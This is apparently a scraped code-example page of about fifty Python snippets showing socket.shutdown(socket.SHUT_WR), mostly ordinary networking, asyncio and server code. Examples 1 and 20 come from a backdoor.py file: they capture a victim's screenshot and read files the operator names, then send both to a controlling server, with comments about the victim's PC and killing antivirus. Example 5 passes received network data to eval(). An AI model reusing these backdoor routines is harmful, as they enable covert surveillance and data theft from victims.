Python socket.SHUT_WR() Examples

The following are code examples for showing how to use socket.SHUT_WR(). They are extracted from open source Python projects. You can vote up the examples you like or vote down the ones you don't like. You can also save this page to your account.

Example 1
Project: RSB-Framework   Author: tarcisio-marinho   File: backdoor.py    (license) View Source Project 7 votes vote down vote up
def screenshot(s):
    nome = TEMPDIR + '/screenshot'+str(random.randint(0,1000000)) + '.png'
    if(os.name == 'posix'): # se for unix-like
        img = pyscreenshot.grab()
        img.save(nome)
    elif(os.name == 'nt'): # se for windows
        img = ImageGrab.grab()
        img.save(nome)

    # envia para o servidor
    f = open(nome ,'rb')
    l = f.read(1024)
    l = nome + '+/-' + l
    while(l):
        s.send(l)
        l = f.read(1024)
    f.close()
    print('enviado')
    s.shutdown(socket.SHUT_WR)
    os.remove(nome)

# recebe arquivos do servidor e salva no PC da vitma 
Example 2
Project: kinect-2-libras   Author: inessadl   File: SocketServer.py    (Apache License 2.0) View Source Project 6 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 3
Project: code   Author: ActiveState   File: recipe-502204.py    (MIT License) View Source Project 6 votes vote down vote up
def __serve(self, client, server):
        'Private class method.'
        pairs = {client: server, server: client}
        while pairs:
            read, write, error = _select.select(pairs.keys(), [], [])
            for socket in read:
                string = socket.recv(self.BUFFERSIZE)
                if string:
                    pairs[socket].sendall(string)
                else:
                    pairs[socket].shutdown(_socket.SHUT_WR)
                    socket.shutdown(_socket.SHUT_RD)
                    del pairs[socket]
        client.close()
        server.close()

################################################################################ 
Example 4
Project: annotated-py-asyncio   Author: hhstore   File: selector_events.py    (license) View Source Project 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 5
Project: dataScryer   Author: Griesbacher   File: livestatus.py    (license) View Source Project 6 votes vote down vote up
def _make_request(self, query):
        if not query.endswith("\n"):
            query += "\n"
        query += "Localtime: %d\nOutputFormat: python\nResponseHeader: fixed16\n\n" % int(time.time())
        self._open_socket()
        if python_3():
            self.__socket.send(bytes(query, encoding='UTF-8'))
        else:
            self.__socket.send(query)
        self.__socket.shutdown(socket.SHUT_WR)
        data = ""
        buffer = self.__socket.recv(BUFFER_SIZE)
        while buffer:
            data += buffer.decode()
            buffer = self.__socket.recv(BUFFER_SIZE)
        return_code = data[0:3]

        if return_code == "200":
            return eval(data[16:])
        else:
            raise Exception("Livestatus returned with " + return_code) 
Example 6
Project: autoreg   Author: pbeyssac   File: query.py    (license) View Source Project 6 votes vote down vote up
def handleclient(self, c, a):
    w = socketwrapper(c)
    sys.stdout = w
    ip, cport, flowinfo, scopeid = a
    c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    q = ''
    r = c.recv(256)
    while r:
      q += r
      i = q.find('\r\n')
      if i >= 0:
        q = q[:i]
        if ip.startswith('::ffff:'):
              ip = ip[7:]
        self.log("%s %s" % (ip, q))
        # XXX: the 192.168.0.* check is a terrible hack until the
        # Perl query interface is rewritten.
        query(q, self.dbstring, w,
              remote = (ip != '127.0.0.1' and ip != '::1'
                        and not ip.startswith('192.168.0.')))
        c.shutdown(socket.SHUT_WR)
        break
      r = c.recv(256)
    c.close() 
Example 7
Project: caproto   Author: NSLS-II   File: client.py    (license) View Source Project 6 votes vote down vote up
def disconnect(self, *, wait=True, timeout=2.0):
        for cid, ch in list(self.channels.items()):
            ch.disconnect(wait=wait, timeout=timeout)
            self.channels.pop(cid)

        with self.new_command_cond:
            self.circuit.disconnect()
        sock = self.socket
        if sock is not None:
            self.selector.remove_socket(sock)
            try:
                sock.shutdown(socket.SHUT_WR)
                sock.close()
            except OSError:
                pass
            self.socket = None

        self.channels.clear()
        self.ioids.clear() 
Example 8
Project: NeuralMT   Author: hlt-mt   File: fileutils.py    (license) View Source Project 6 votes vote down vote up
def netcat(host, port, content, timeout=60, max_size=4096):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    s.sendall(content.encode())
    s.shutdown(socket.SHUT_WR)

    result = None

    ready = select.select([s], [], [], timeout)
    if ready[0]:
        s.setblocking(False)
        data = s.recv(max_size)
        if data:
            result = str(data)

    s.close()

    return result 
Example 9
Project: intel-manager-for-lustre   Author: intel-hpdd   File: block_devices.py    (license) View Source Project 6 votes vote down vote up
def scanner_cmd(cmd):
    client = socket.socket(socket.AF_UNIX)
    client.settimeout(1)
    client.connect_ex("/var/run/device-scanner.sock")
    client.sendall(json.dumps({"ACTION": cmd}))
    client.shutdown(socket.SHUT_WR)

    out = ''

    while True:
        data = client.recv(1024)
        size = len(data)

        if size == 0:
            break

        out += data

    return json.loads(out) 
Example 10
Project: web_ctp   Author: molebot   File: test_ftplib.py    (license) View Source Project 6 votes vote down vote up
def server(self):
        # This method sets the evt 3 times:
        #  1) when the connection is ready to be accepted.
        #  2) when it is safe for the caller to close the connection
        #  3) when we have closed the socket
        self.sock.listen(5)
        # (1) Signal the caller that we are ready to accept the connection.
        self.evt.set()
        try:
            conn, addr = self.sock.accept()
        except socket.timeout:
            pass
        else:
            conn.sendall(b"1 Hola mundo\n")
            conn.shutdown(socket.SHUT_WR)
            # (2) Signal the caller that it is safe to close the socket.
            self.evt.set()
            conn.close()
        finally:
            self.sock.close() 
Example 11
Project: golightan   Author: shirou   File: selector_events.py    (license) View Source Project 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        if self._conn_lost:
            return
        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop._remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop._remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 12
Project: challenges   Author: dwyde   File: client.py    (license) View Source Project 6 votes vote down vote up
def communicate(host, port):
    """ Read from stdin till EOF, send, then return the results of recv().
    """
    s = socket.socket()
    s.connect((host, port))
    payload = sys.stdin.read().encode()
    s.sendall(payload)
    s.shutdown(socket.SHUT_WR)

    output = []
    while True:
        read = s.recv(READ_SIZE)
        if read:
            output.append(read.decode())
        else:
            break
    return ''.join(output) 
Example 13
Project: challenges   Author: dwyde   File: client.py    (license) View Source Project 6 votes vote down vote up
def communicate(host, port):
    """ Read from stdin till EOF, send, then return the results of recv().
    """
    s = socket.socket()
    s.connect((host, port))
    payload = sys.stdin.read().encode()
    s.sendall(payload)
    s.shutdown(socket.SHUT_WR)

    output = []
    while True:
        read = s.recv(READ_SIZE)
        if read:
            output.append(read.decode())
        else:
            break
    return ''.join(output) 
Example 14
Project: undermountain   Author: gvanderest   File: telnet.py    (license) View Source Project 6 votes vote down vote up
def close(self):
        try:
            self.socket.flush()
        except Exception:
            pass

        try:
            self.socket.shutdown(raw_socket.SHUT_WR)
        except Exception:
            pass

        try:
            self.socket.close()
        except Exception:
            pass

        self.socket = None
        self.server.remove_connection(self) 
Example 15
Project: ouroboros   Author: pybee   File: selector_events.py    (license) View Source Project 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 16
Project: v_examples   Author: peterhurford   File: runner.py    (license) View Source Project 6 votes vote down vote up
def netcat(hostname, port, content):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    s.sendall(content)
    s.shutdown(socket.SHUT_WR)
    data = []
    while True:
        datum = s.recv(1024)
        if datum == '':
            break
        datum = datum.split('\n')
        for dat in datum:
            if dat != '':
                dat = float(dat)
                if 5 >= dat >= 0:
                    data.append(dat)
    s.close()
    return data 
Example 17
Project: IBRel   Author: lasigeBioTM   File: corpus.py    (license) View Source Project 6 votes vote down vote up
def netcat(hostname, port, content):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    s.sendall(content)
    s.shutdown(socket.SHUT_WR)
    output = ""
    while 1:
        data = s.recv(1024)
        if data == "":
            break
        #print "Received:", repr(data)
        output += data
    #print "Connection closed."
    # res = repr(data)
    s.close()
    return output 
Example 18
Project: vowpal_platypus   Author: peterhurford   File: internal.py    (license) View Source Project 6 votes vote down vote up
def netcat(hostname, port, content, quiet=False):
    if not quiet:
        print('Connecting to port {}'.format(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    s.sendall(content.encode('utf-8'))
    s.shutdown(socket.SHUT_WR)
    data = []
    while True:
        datum = s.recv(16384)
        if datum == '':
            break
        datum = datum.split('\n')
        for dat in datum:
            if dat != '':
                dat = float(dat)
                if 1 >= dat >= -1:  #TODO: Parameterize
                    data.append(dat)
    s.close()
    return data 
Example 19
Project: kbe_server   Author: xiaohaoppy   File: selector_events.py    (license) View Source Project 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 20
Project: RSB-Framework   Author: tarcisio-marinho   File: backdoor.py    (license) View Source Project 6 votes vote down vote up
def download(s):
    arquivo = s.recv(1024)
    print(arquivo)
    if(os.path.isfile(arquivo)):
        f = open(arquivo, 'rb')
        l = f.read(1024)
        l = 'True+/-' + l
        while(l):
            s.send(l)
            l = f.read(1024)
        f.close()
        print('envio completo')
        s.shutdown(s.SHUT_WR)

    else:
        s.send('False')

# finaliza o processo do antivirus rodando na maquina 
Example 21
Project: GotoX   Author: SeaHOH   File: ProxyHandler.py    (license) View Source Project 6 votes vote down vote up
def do_FAKECERT(self):
        #???????????????
        self.write(b'HTTP/1.1 200 Connection Established\r\n\r\n')
        if not self.fakecert: return
        context = self.get_context()
        try:
            ssl_sock = context.wrap_socket(self.connection, server_side=True)
        except Exception as e:
            if e.args[0] not in pass_errno:
                logging.exception('%s ?????????host=%r?%r', self.address_string(), self.host, e)
            return
        #???????
        self.finish()
        #???????
        self.request = ssl_sock
        self.setup()
        try:
            #????????
            self.handle()
        finally:
            #?????????????????? 2 ? makefile
            #ssl_sock.shutdown(socket.SHUT_WR)
            ssl_sock.close() 
Example 22
Project: Trusted-Platform-Module-nova   Author: BU-NU-CLOUD-SP16   File: xvp_proxy.py    (license) View Source Project 6 votes vote down vote up
def one_way_proxy(self, source, dest):
        """Proxy tcp connection from source to dest."""
        while True:
            try:
                d = source.recv(32384)
            except Exception:
                d = None

            # If recv fails, send a write shutdown the other direction
            if d is None or len(d) == 0:
                dest.shutdown(socket.SHUT_WR)
                break
            # If send fails, terminate proxy in both directions
            try:
                # sendall raises an exception on write error, unlike send
                dest.sendall(d)
            except Exception:
                source.close()
                dest.close()
                break 
Example 23
Project: Flask_Blog   Author: sugarguo   File: fcgi_base.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def _cleanupSocket(self):
        """Close the Connection's socket."""
        try:
            self._sock.shutdown(socket.SHUT_WR)
        except:
            return
        try:
            while True:
                r, w, e = select.select([self._sock], [], [])
                if not r or not self._sock.recv(1024):
                    break
        except:
            pass
        self._sock.close() 
Example 24
Project: hostapd-mana   Author: adde88   File: SocketServer.py    (license) View Source Project 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 25
Project: annotated-py-asyncio   Author: hhstore   File: proactor_events.py    (license) View Source Project 5 votes vote down vote up
def _loop_writing(self, f=None, data=None):
        try:
            assert f is self._write_fut
            self._write_fut = None
            self._pending_write = 0
            if f:
                f.result()
            if data is None:
                data = self._buffer
                self._buffer = None
            if not data:
                if self._closing:
                    self._loop.call_soon(self._call_connection_lost, None)
                if self._eof_written:
                    self._sock.shutdown(socket.SHUT_WR)
                # Now that we've reduced the buffer size, tell the
                # protocol to resume writing if it was paused.  Note that
                # we do this last since the callback is called immediately
                # and it may add more data to the buffer (even causing the
                # protocol to be paused again).
                self._maybe_resume_protocol()
            else:
                self._write_fut = self._loop._proactor.send(self._sock, data)
                if not self._write_fut.done():
                    assert self._pending_write == 0
                    self._pending_write = len(data)
                    self._write_fut.add_done_callback(self._loop_writing)
                    self._maybe_pause_protocol()
                else:
                    self._write_fut.add_done_callback(self._loop_writing)
        except ConnectionResetError as exc:
            self._force_close(exc)
        except OSError as exc:
            self._fatal_error(exc, 'Fatal write error on pipe transport') 
Example 26
Project: annotated-py-asyncio   Author: hhstore   File: proactor_events.py    (license) View Source Project 5 votes vote down vote up
def write_eof(self):
        if self._closing or self._eof_written:
            return
        self._eof_written = True
        if self._write_fut is None:
            self._sock.shutdown(socket.SHUT_WR) 
Example 27
Project: annotated-py-asyncio   Author: hhstore   File: selector_events.py    (license) View Source Project 5 votes vote down vote up
def write_eof(self):
        if self._eof:
            return
        self._eof = True
        if not self._buffer:
            self._sock.shutdown(socket.SHUT_WR) 
Example 28
Project: annotated-py-asyncio   Author: hhstore   File: test_proactor_events.py    (license) View Source Project 5 votes vote down vote up
def test_write_eof(self):
        tr = self.socket_transport()
        self.assertTrue(tr.can_write_eof())
        tr.write_eof()
        self.sock.shutdown.assert_called_with(socket.SHUT_WR)
        tr.write_eof()
        self.assertEqual(self.sock.shutdown.call_count, 1)
        tr.close() 
Example 29
Project: annotated-py-asyncio   Author: hhstore   File: test_selector_events.py    (license) View Source Project 5 votes vote down vote up
def test_write_eof(self):
        tr = self.socket_transport()
        self.assertTrue(tr.can_write_eof())
        tr.write_eof()
        self.sock.shutdown.assert_called_with(socket.SHUT_WR)
        tr.write_eof()
        self.assertEqual(self.sock.shutdown.call_count, 1)
        tr.close() 
Example 30
Project: annotated-py-asyncio   Author: hhstore   File: test_selector_events.py    (license) View Source Project 5 votes vote down vote up
def test_write_eof_buffer(self):
        tr = self.socket_transport()
        self.sock.send.side_effect = BlockingIOError
        tr.write(b'data')
        tr.write_eof()
        self.assertEqual(tr._buffer, list_to_buffer([b'data']))
        self.assertTrue(tr._eof)
        self.assertFalse(self.sock.shutdown.called)
        self.sock.send.side_effect = lambda _: 4
        tr._write_ready()
        self.assertTrue(self.sock.send.called)
        self.sock.shutdown.assert_called_with(socket.SHUT_WR)
        tr.close() 
Example 31
Project: HTTPWookiee   Author: regilero   File: client.py    (license) View Source Project 5 votes vote down vote up
def close_sending(self):
        """First closing step, cut the sending part of the socket."""
        try:
            outmsg('# closing client connection send canal '
                   '(can still receive).')
            self._sock.shutdown(socket.SHUT_WR)
        except OSError:
            raise ClosedSocketError('closed socket detected on send close') 
Example 32
Project: touch-pay-client   Author: HackPucBemobi   File: fcgi.py    (license) View Source Project 5 votes vote down vote up
def _cleanupSocket(self):
        """Close the Connection's socket."""
        try:
            self._sock.shutdown(socket.SHUT_WR)
        except:
            return
        try:
            while True:
                r, w, e = select.select([self._sock], [], [])
                if not r or not self._sock.recv(1024):
                    break
        except:
            pass
        self._sock.close() 
Example 33
Project: claymore-exporter   Author: sdelrio   File: claymoreexporter_lib.py    (license) View Source Project 5 votes vote down vote up
def netcat(hostname, port, content):
    """ Netcat equivalent to get data from Claymore. Normal http get doesn't works."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.connect((hostname, port))
        s.sendall(content)
        s.shutdown(socket.SHUT_WR)
        s.setblocking(0)
        fulltext = ''
        while 1:
            ready = select.select([s], [], [], timeout)
            if ready[0]:
                data = s.recv(4096)
            if data == "":
                break
            fulltext += data
    except socket.error, e:
        fulltext='{"error": true, "id": 0, "result": ["No client", "6", "0;0;0", "0;0", "0;0;0", "0;0", "0;0;0;0", "-;--", "0;0;0;0"]}'
        print "Socket error: ", e
    except IOError, e:
        fulltext='{"error": true, "id": 0, "result": ["No client", "6", "0;0;0", "0;0", "0;0;0", "0;0", "0;0;0;0", "-;--", "0;0;0;0"]}'
        print "IOError: error: ", e
    finally:
        s.close()
    return parse_response(fulltext) 
Example 34
Project: mitogen   Author: dw   File: core.py    (license) View Source Project 5 votes vote down vote up
def on_shutdown(self, broker):
        """Shut down the write end of the logging socket."""
        LOG.debug('%r.on_shutdown()', self)
        self._wsock.shutdown(socket.SHUT_WR)
        self._wsock.close()
        self.transmit_side.close() 
Example 35
Project: Intranet-Penetration   Author: yuxiaokui   File: SocketServer.py    (license) View Source Project 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 36
Project: TAC-Airflow-Plugin   Author: vipul-tm   File: nagios_extractor_operator.py    (license) View Source Project 5 votes vote down vote up
def get_from_socket(site_name,query,socket_ip,socket_port):
		"""
		Function_name : get_from_socket (collect the query data from the socket)

		Args: site_name (poller on which monitoring data is to be collected)

		Kwargs: query (query for which data to be collectes from nagios.)

		Return : None

		raise
		     Exception: SyntaxError,socket error
	    	"""
		#socket_path = "/omd/sites/%s/tmp/run/live" % site_name
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		#s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
		machine = site_name[:-8]
		s.connect((socket_ip, socket_port))
		#s.connect(socket_path)
		s.send(query)
		s.shutdown(socket.SHUT_WR)
		output = ''
		wait_string= ''
		while True:
			try:
				out = s.recv(100000000)
		     	except socket.timeout,e:
				err=e.args[0]
				print 'socket timeout ..Exiting'
				if err == 'timed out':
					sys.exit(1) 
		
		     	if not len(out):
				break;
		     	output += out

		return output 
Example 37
Project: MKFQ   Author: maojingios   File: SocketServer.py    (license) View Source Project 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 38
Project: hakkuframework   Author: 4shadoww   File: socketserver.py    (license) View Source Project 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 39
Project: TGCli-Anticrash   Author: Dragon-Born   File: anticrash.py    (license) View Source Project 5 votes vote down vote up
def check_bot(self, botname, port, path, user):
        bot = botname
		
        if not botname in data:

            addlog('starting '+ botname)
            os.chdir(path)
            proc = subprocess.Popen('screen -dmS "'+ botname +'" su '+ user +' -c "bash launch.sh -P '+ str(port) +'"',shell=True).wait()
            addlog(botname + ' has been successfully started')
            print(colored(botname + ' has been successfully started\n',"blue"))
            spid = screen_pid(botname)
            data[botname] = {"pid": spid}
            time.sleep(5)
						
        while True:
            try:
			
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(5.0)
                s.connect(('localhost', int(port)))
                s.shutdown(socket.SHUT_WR)
                s.close()
            except:
                try:				
                    os.kill(int(data[botname][pid]), 9)
                except Exception as e:
                 a = 'a'
                wipe = subprocess.Popen(["screen", "-wipe"], stdout=subprocess.PIPE)
                del data[botname]
                addlog(botname + ' was crashed and it has been successfully restarted.')
                print(botname + ' was crashed and it has been successfully restarted.')
                botname = bot+get_random_key(2)
				
                proc = subprocess.Popen('screen -dmS "'+ botname +'" su '+ user +' -c "bash launch.sh -P '+ str(port) +'"',shell=True).wait()
                spid = screen_pid(botname)
                data[botname] = {"pid": spid}

            time.sleep(15) 
Example 40
Project: true_review_web2py   Author: lucadealfaro   File: fcgi.py    (license) View Source Project 5 votes vote down vote up
def _cleanupSocket(self):
        """Close the Connection's socket."""
        try:
            self._sock.shutdown(socket.SHUT_WR)
        except:
            return
        try:
            while True:
                r, w, e = select.select([self._sock], [], [])
                if not r or not self._sock.recv(1024):
                    break
        except:
            pass
        self._sock.close() 
Example 41
Project: turboparser-semafor   Author: ReutersMedia   File: index.py    (license) View Source Project 5 votes vote down vote up
def frameparser_sender(s,msg):
    LOGGER.info("Sending {0} bytes to frameparser".format(len(msg)))
    s.sendall(msg)
    s.shutdown(socket.SHUT_WR) 
Example 42
Project: spc   Author: whbrewer   File: fcgi.py    (license) View Source Project 5 votes vote down vote up
def _cleanupSocket(self):
        """Close the Connection's socket."""
        try:
            self._sock.shutdown(socket.SHUT_WR)
        except:
            return
        try:
            while True:
                r, w, e = select.select([self._sock], [], [])
                if not r or not self._sock.recv(1024):
                    break
        except:
            pass
        self._sock.close() 
Example 43
Project: igcollect   Author: innogames   File: zookeeper.py    (license) View Source Project 5 votes vote down vote up
def netcat(hostname, port, content):
    mntr = ''
    conn = socket(AF_INET, SOCK_STREAM)
    conn.connect((hostname, port))
    conn.sendall(content)
    conn.shutdown(SHUT_WR)
    while True:
        data = conn.recv(1024)
        if data == '':
            break
        mntr += data
    conn.close()
    return mntr 
Example 44
Project: Circadia   Author: hooyah   File: SClient.py    (license) View Source Project 5 votes vote down vote up
def __dispatch(addr, port, msg):
        """
        worker
        :param addr:
        :param port:
        :param msg: list (thread obj, message, return value)
        :return:
        """
        print 'opening socket'
        clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        clientsocket.settimeout(2)
        try:
            clientsocket.connect((addr, port))
        except:
            msg[2] = "couldn't connect to socket"
            return

        print 'sending'
        n = clientsocket.sendall(msg[1])
        clientsocket.shutdown(socket.SHUT_WR)
        print 'sent', n
        buffer = ""
        while(1):
            buf = clientsocket.recv(1024)
            if len(buf) > 0:
                buffer += buf
            else:
                print 'received %d bytes'%len(buffer)
                msg[2] = buffer
                break
        clientsocket.close()
        print 'done' 
Example 45
Project: zippy   Author: securesystemslab   File: socketserver.py    (license) View Source Project 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 46
Project: irc_bot   Author: cvium   File: simple_irc_bot.py    (license) View Source Project 5 votes vote down vote up
def connect(self, server):
        """Creates a (ssl) socket and connects to the server. Not using asyncore's connect-function because it sucks."""
        # sockets are garbage collected, but if the connection isn't closed it might fail
        try:
            self.socket.shutdown(socket.SHUT_WR)
            self.socket.close()
            del self.socket
        except Exception:
            pass
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        if self.use_ssl:
            try:
                self.socket.setblocking(True)
                self.socket = ssl.wrap_socket(self.socket)
            except (ssl.SSLWantReadError, ssl.SSLWantWriteError) as e:
                log.debug(e)
                self._handshake()
            except ssl.SSLError as e:
                log.error(e)
                self.exit()
                return
            finally:
                self.socket.setblocking(False)

        log.info('Connecting to %s', self.current_server)
        self.socket.settimeout(30)
        self.socket.connect(server)
        self.handle_connect_event() 
Example 47
Project: knowledge-management   Author: dgore7   File: client.py    (license) View Source Project 5 votes vote down vote up
def disconnect(self):
        if self.connected:
            try:
                self.sock.shutdown(socket.SHUT_WR)
                self.sock.close()
                self.connected = False
            except SocketError as e:
                print("Server must have disconnected first!")

            print("Disconnection successful!")
        else:
            print("Nothing to disconnect!") 
Example 48
Project: knowledge-management   Author: dgore7   File: server.py    (license) View Source Project 5 votes vote down vote up
def server_shutdown(self):
        self.is_listening = False
        for c in connections:
            c.close()
        try:
            self.server_proc.shutdown(socket.SHUT_WR)
        except OSError as e1:
            if e1.args[0] == 57:
                print("No clients connected?")

        self.server_proc.close() 
Example 49
Project: Problematica-public   Author: TechMaz   File: fcgi.py    (license) View Source Project 5 votes vote down vote up
def _cleanupSocket(self):
        """Close the Connection's socket."""
        try:
            self._sock.shutdown(socket.SHUT_WR)
        except:
            return
        try:
            while True:
                r, w, e = select.select([self._sock], [], [])
                if not r or not self._sock.recv(1024):
                    break
        except:
            pass
        self._sock.close() 
Example 50
Project: pwn-stuff   Author: nneonneo   File: test_rxpwn.py    (license) View Source Project 5 votes vote down vote up
def test_rd_partial(self):
        self.server.send(b'test')
        self.server.shutdown(socket.SHUT_WR)
        with self.assertRaises(rxpwn.PartialReadError) as ecm:
            rd(b'\n')
        self.assertEqual(ecm.exception.data, b'test')